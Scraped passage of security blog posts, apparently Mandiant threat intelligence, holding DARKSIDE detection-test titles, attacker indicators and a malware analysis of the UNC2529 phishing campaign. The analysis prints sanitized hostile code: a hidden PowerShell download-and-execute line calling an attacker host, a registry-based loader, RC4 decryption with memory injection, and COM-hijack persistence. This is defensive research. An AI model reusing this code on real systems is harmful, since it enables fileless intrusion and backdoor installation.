Transfer – DARKSIDE, Download, Variant #11  A101-710  Malicious File Transfer – DARKSIDE, Download, Variant #12  A101-711  Malicious File Transfer – DARKSIDE, Download, Variant #13  A101-712  Malicious File Transfer – DARKSIDE, Download, Variant #14  A101-713  Malicious File Transfer – DARKSIDE, Download, Variant #15  A101-714  Malicious File Transfer – DARKSIDE, Download, Variant #16  A101-715  Malicious File Transfer – DARKSIDE, Download, Variant #17  A101-716  Malicious File Transfer – DARKSIDE, Download, Variant #18  A101-717  Malicious File Transfer – DARKSIDE, Download, Variant #19  A101-718  Malicious File Transfer – DARKSIDE, Download, Variant #20  A101-719  Malicious File Transfer – DARKSIDE, Download, Variant #21  A101-720  Malicious File Transfer – DARKSIDE, Download, Variant #22  A101-721  Malicious File Transfer – DARKSIDE, Download, Variant #23  A101-722  Malicious File Transfer – DARKSIDE, Download, Variant #24  A101-723  Malicious File Transfer – DARKSIDE, Download, Variant #25  A101-724  Malicious File Transfer – DARKSIDE, Download, Variant #26  A101-725  Malicious File Transfer – DARKSIDE, Download, Variant #27  A101-726  Malicious File Transfer – DARKSIDE, Download, Variant #28  A101-727  Malicious File Transfer – DARKSIDE, Download, Variant #29  A101-728  Malicious File Transfer – DARKSIDE, Download, Variant #30  A101-729  Malicious File Transfer – DARKSIDE, Download, Variant #31  A101-730  Malicious File Transfer – DARKSIDE, Download, Variant #32  A101-731  Malicious File Transfer – DARKSIDE, Download, Variant #33  A101-732  Malicious File Transfer – DARKSIDE, Download, Variant #34  A101-733  Malicious File Transfer – DARKSIDE, Download, Variant #35  A101-734  Malicious File Transfer – DARKSIDE, Download, Variant #36  A101-735  Malicious File Transfer – NGROK, Download, Variant #1  A101-736  Malicious File Transfer – UNC2465, LNK Downloader for SMOKEDHAM, Download  A101-737  Malicious File Transfer – BEACON, Download, Variant #3  A101-738  Data Exfiltration – RCLONE, Exfil Over SFTP  A101-739  Malicious File Transfer – RCLONE, Download, Variant #2  A101-740  Command and Control – DARKSIDE, DNS Query, Variant #1  A101-741  Command and Control – DARKSIDE, DNS Query, Variant #2  A101-742  Application Vulnerability – SonicWall, CVE-2021-20016, SQL Injection  A104-771  Protected Theater – DARKSIDE, PsExec Execution  A104-772  Host CLI – DARKSIDE, Windows Share Creation  A104-773  Protected Theater – DARKSIDE, Delete Volume Shadow Copy  Related Indicators UNC2628 Indicator Description 104.193.252[.]197:443 BEACON C2 162.244.81[.]253:443 BEACON C2 185.180.197[.]86:443 BEACON C2 athaliaoriginals[.]com BEACON C2 lagrom[.]com BEACON C2 ctxinit.azureedge[.]net BEACON C2 45.77.64[.]111 Login Source 181ab725468cc1a8f28883a95034e17d BEACON Sample UNC2659 Indicator Description 173.234.155[.]208 Login Source UNC2465 Indicator Description 81.91.177[.]54 :7234 Remote Access koliz[.]xyz File Hosting los-web[.]xyz EMPIRE C2 sol-doc[.]xyz Malicious Infrastructure hxxp://sol-doc[.]xyz/sol/ID-482875588 Downloader URL 6c9cda97d945ffb1b63fd6aabcb6e1a8 Downloader LNK 7c8553c74c135d6e91736291c8558ea8 VBS Launcher 27dc9d3bcffc80ff8f1776f39db5f0a4 Ngrok Utility DARKSIDE Ransomware Encryptor DARKSIDE Sample MD5 04fde4340cc79cd9e61340d4c1e8ddfb 0e178c4808213ce50c2540468ce409d3 0ed51a595631e9b4d60896ab5573332f 130220f4457b9795094a21482d5f104b 1a700f845849e573ab3148daef1a3b0b 1c33dc87c6fdb80725d732a5323341f9 222792d2e75782516d653d5cccfcf33b 29bcd459f5ddeeefad26fc098304e786 3fd9b0117a0e79191859630148dcdc6d 47a4420ad26f60bb6bba5645326fa963 4d419dc50e3e4824c096f298e0fa885a 5ff75d33080bb97a8e6b54875c221777 66ddb290df3d510a6001365c3a694de2 68ada5f6aa8e3c3969061e905ceb204c 69ec3d1368adbe75f3766fc88bc64afc 6a7fdab1c7f6c5a5482749be5c4bf1a4 84c1567969b86089cc33dccf41562bcd 885fc8fb590b899c1db7b42fe83dddc3 91e2807955c5004f13006ff795cb803c 9d418ecc0f3bf45029263b0944236884 9e779da82d86bcd4cc43ab29f929f73f a3d964aaf642d626474f02ba3ae4f49b b0fd45162c2219e14bdccab76f33946e b278d7ec3681df16a541cf9e34d3b70a b9d04060842f71d1a8f3444316dc1843 c2764be55336f83a59aa0f63a0b36732 c4f1a1b73e4af0fbb63af8ee89a5a7fe c81dae5c67fb72a2c2f24b178aea50b7 c830512579b0e08f40bc1791fc10c582 cfcfb68901ffe513e9f0d76b17d02f96 d6634959e4f9b42dfc02b270324fa6d9 e44450150e8683a0addd5c686cd4d202 f75ba194742c978239da2892061ba1b4 f87a2e1c3d148a67eaeb696b1ab69133 f913d43ba0a9f921b1376b26cd30fa34 f9fc1a1a95d5723c140c2a8effc93722

  • The UNC2529 Triple Double: A Trifecta Phishing Campaign
    by Nick Richard on May 4, 2021 at 2:00 pm

    In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution. UNC2529 Phishing Overview Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020. During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process. The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function. http://<fqdn>/downld-id_<string> http://<fqdn>/downld-id-<string> http://<fqdn>/files-upload_<string> http://<fqdn>/files-upload-<string> http://<fqdn>/get_file-id_<string> http://<fqdn>/get_file-id-<string> http://<fqdn>/zip_download_<string> http://<fqdn>/zip_download-<string> The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”. Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php. Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload.  The threat actor made slight modifications to the URL pattern during the second wave. http://<fqdn>/<string> http://<fqdn>/dowld_<string> http://<fqdn>/download_<string> http://<fqdn>/files_<string> http://<fqdn>/id_<string> http://<fqdn>/upld_<string> Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document.  Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave. Tailored Targeting UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company. Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line. A utility company received a phish with subject, “easement to bore to our stairwell area.” While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1. Subject Lure Wave re: <redacted> outdoors environment (1 out of 3) 1st accepted: follow up with butch & karen 1st re: appraisal for <redacted> – smysor rd 2nd re: <redacted> financing 2nd Table 1: Sample financial industry subject lures Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2. Subject Lure Wave fw: certificate of insurance 1st fw: insurance for plow 1st please get this information 1st question & number request 1st claim status 2nd applications for medicare supplement & part d 2nd Table 2: Sample insurance industry subject lures Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized. Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker. Subject Lure Wave dear worker, your work # ujcb0utczl 1st good day worker, your job number- 8ldbsq6ikd 1st hello worker, your work number- u39hbutlsf 1st good day candidate, your vacancy # xcmxydis4s 2nd dear worker, your work # ujcb0utczl 2nd Table 3: Sample pattern subject lures Industry and Regional Targeting UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1. Figure 1: UNC2529 phishing campaign, first wave In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2.  Figure 2: UNC2529 phishing campaign, second wave Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups. Technical Analysis Overview The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines. Ecosystem in Details DOUBLEDRAG Downloader component The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation. “C:\Windows\System32\cmd.exe” /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code> Figure 3: De-obfuscated JavaScript downloader The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4. IEX (New-Object Net.Webclient).downloadstring(“hxxp://p-leh[.]com/update_java.dat”) Figure 4: Downloading and executing of the DOUBLEDROP dropper DOUBLEDROP Dropper component Overview The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution. Setup The dropper’s main goal is to serialize the chosen payload along with the loading scripts into the compromised system’s registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section). In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5. * HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>}        * key: LocalServer               * value: <default>                       * data: <bootstrap_ps_code>        * key: ProgID               * value: <default>                       * data: <rnd_guid_1>               * value: <last_4_chars_of_rnd_guid_0>                       * data: <encoded_loader>        * key: VersionIndependentProgID               * value: <default>                       * data: <rnd_guid_1>               * value: <first_4_chars_of_rnd_guid_0>                       * data: <encoded_rc4_key>               * value: <last_4_chars_of_rnd_guid_0>                       * data: <rc4_encrypted_payload> * HK[CU|LM]\Software\Classes\{<rnd_guid_1>}        * value: <default>               * data: <rnd_guid_1>        * key: CLSID               * value: <default>                       * data: <rnd_guid_0> * HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>}        * value: <default>               * data: <rnd_guid_1>        * key: TreatAs               * value: <default>                       * data: <rnd_guid_0> Figure 5: Registry keys and values created by the dropper Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key as shown in Figure 5. Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!). <relative_offset> = buffer[32] buffer[32 + <relative_offset> + 1] = <reversed_rc4_key> Figure 6: Encoding of the RC4 key Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5). At this point all the necessary steps that ensure the payload’s persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections. Persistence Mechanism The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not. If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID – the {<rnd_guid_2>} GUID (See Figure 5). Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task. If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key’s default registry value points to the {<rnd_guid_0>} emulator class essentially achieving the same execution sequence as in the elevated privilege case. Bootstrap The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator’s class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes.  The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process. A decoded and sanitized version of the script is shown in Figure 7. $enc = [System.Text.Encoding]::UTF8; $loader = Get-ItemProperty     -Path($enc.GetString([Convert]::FromBase64String(‘<base64_encoded_path_to_launcher>’)))     -n ‘<launcher_reg_val>’ | Select-Object -ExpandProperty ‘<launcher_reg_val>’; $xor_val = <xor_val>; iex(     $enc.GetString($(         for ($i = 0; $i -lt $loader.Length; $i++) {             if ($xor_val -ge 250) {                 $xor_val = 0             }             $loader[$i] -bxor $xor_val;             $xor_val += 4         }     )) ) Figure 7: De-obfuscated and sanitized bootstrap code Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems. The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key. def encdec(src, key):     out = bytearray()     for b in src:         if key >= 250:             key = 0         out.append(b ^ key)         key += 4     return out Figure 8: Algorithm to Decode the Launcher Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command. Launcher The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload’s entry point. A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9. function DecryptPayload {     param($fn7, $xf7, $mb5)     $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;     $en8 = ($fn1[32] + (19 + (((5 – 2) + 0) + 11)));     $ow7 = $fn1[$en8..($en8 + 31)];     [array]::Reverse($ow7);     $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;     $en8 = {         $xk2 = 0..255;         0..255 | % {             $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 – (3 + (11 + 5)));             $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]         };         $fn1 | % {             $sp3 = ($sp3 + 1) % (275 – 19);             $si9 = ($si9 + $xk2[$sp3]) % ((600 – 280) – 64);             $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];             $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 – ((1 + 0) + 86))]         }     };     $ry6 = (& $en8 | foreach-object { ‘{0:X2}’ -f $_ }) -join ”;     ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {                 [convert]::ToByte($ry6.Substring($sp3, 2), (17 – ((1 + 0))))             }         )     ) } function ExecuteApi {     param($fn7, $xf7)     $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘?RND?’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(‘?RND?’, $false).DefineType(‘?RND?’, ‘Class,Public,Sealed,AnsiClass,AutoClass’, [System.MulticastDelegate]);     $vy9.DefineConstructor(‘RTSpecialName,HideBySig,Public’, [System.Reflection.CallingConventions]::Standard, $fn7).SetImplementationFlags(‘Runtime,Managed’);     $vy9.DefineMethod(‘Invoke’, ‘Public,HideBySig,NewSlot,Virtual’, $xf7, $fn7).SetImplementationFlags(‘Runtime,Managed’);     $vy9.CreateType() } function GetProcAddress {     param($fn7)     $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {         $_.GlobalAssemblyCache -and $_.Location.Split(‘\\’)[-1].Equals(‘System.dll’)     }).GetType(‘Microsoft.Win32.UnsafeNativeMethods’);     $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod(‘GetModuleHandle’).Invoke(0, @(‘kernel32.dll’))));     $fq3.GetMethod(‘GetProcAddress’, [reflection.bindingflags] ‘Public,Static’, $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3, $fn7)) } $decryptedPayload = DecryptPayload ‘hklm:\software\classes\CLSID\<rnd_guid_0>\VersionIndependentProgID’ ‘<reg_val_payload>’ ‘<reg_val_rc4_key>’; function InjectPayload {     param($payload, $payloadLen, $entryPoint, $access)     $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress ‘VirtualAllocEx’), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access);     [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress ‘RtlMoveMemory’), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen);     $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);     [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress ‘CreateThread’), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0);     Start-Sleep -s (((2673 – 942) + 1271)) } # 0x36dc = Loader Entry Point, rva # 0x40 = PAGE_EXECUTE_READWRITE InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40 Figure 9: De-obfuscated and sanitized launcher script DOUBLEBACK Backdoor component Overview The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process.  In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins. Details The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections.  Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume’s serial number and a hardcoded salt value, as shown in Figure 10. # oberserved salt = 0x436ea76d def gen_host_id(vol_ser_num, salt):     salted_val = (vol_ser_num + salt) & 0xffffffff     md5 = hashlib.md5(bytes(salted_val.to_bytes(4, ‘little’)))     second_dword = struct.unpack(‘<i’, md5.digest()[4:8])[0]     return (salted_val + second_dword) & 0xffffffff Figure 10: Host ID generation algorithm Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11. # src is the host ID def gen_guid(src):     b = bytearray()     xor = 0xaabbccdd     for _ in range(4):         b += src.to_bytes(4, byteorder=’little’)         src ^= xor         xor = (xor + xor) & 0xffffffff     return uuid.UUID(bytes_le=bytes(b)) Figure 11: GUID generation algorithm Once the GUID is generated the malware formats it as Global\{<guid>} and attempts to open a mutex with that name. In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into. Executing Within the PowerShell Process The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor’s main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created. The injection process involves finding the backdoor’s image under the appropriate registry key. Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post. With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point. The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function. At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself. Executing as Injected in the msiexec.exe Process Overview The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor. Configuration The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post). The configuration data is formatted as shown in Figure 12. struct tag_config_header_t {     uint32_t xor_val_1;     uint32_t xor_val_2;     uint32_t xor_val_3;     uint32_t xor_val_4; } config_header_t; struct tag_config_t {     config_header_t header;     uint8_t encoded_config[]; } config_t; Figure 12: Encoded configuration format The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1. The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. The first two bytes specify the lengths of the comma-separated URL list and the key, respectively. The URLs in the observed samples follow the pattern shown in Figure 13. https://<server>/admin<n>/client.php Figure 13: Observed C2 URL pattern The initial sample did not have any value for <n> but the samples after that were observed to use <n> equal to 4 or 5. Plugin Management The backdoor’s core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638. The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID. def lcg(max_range):     global seed     if seed == 0:         seed = get_RDTSC()     n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff     val = n % max_range     seed = n     return val Figure 14: Linear Congruential Generator used by the backdoor The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15. struct tag_plugin_header_t {     uint32_t xor_val;     uint32_t param_2; the second parameter of the pfn_init     uint32_t len_1;     uint32_t len_2;     uint32_t pfn_init;     uint32_t pfn_cleanup;     uint32_t param_3; the third parameter of the pfn_init     uint32_t unused; } plugin_header_t; struct tag_plugin_t {        plugin_header_t header;        uint8_t encoded_plugin[]; } plugin_t; Figure 15: Encoded plugins format As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL. The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value is incremented by one after each iteration. The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16. pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory) Figure 16: Plugins initialization routine prototype The current backdoor’s implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor’s process space. Additional Notes The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file system. The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\Software\Classes key. The backdoor spawns a dedicated thread that retrieves the dropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system. Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process. Finally, the backdoor would output debug information in a few cases using the OutputDebugString API. Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds. When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts. Conclusion Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains 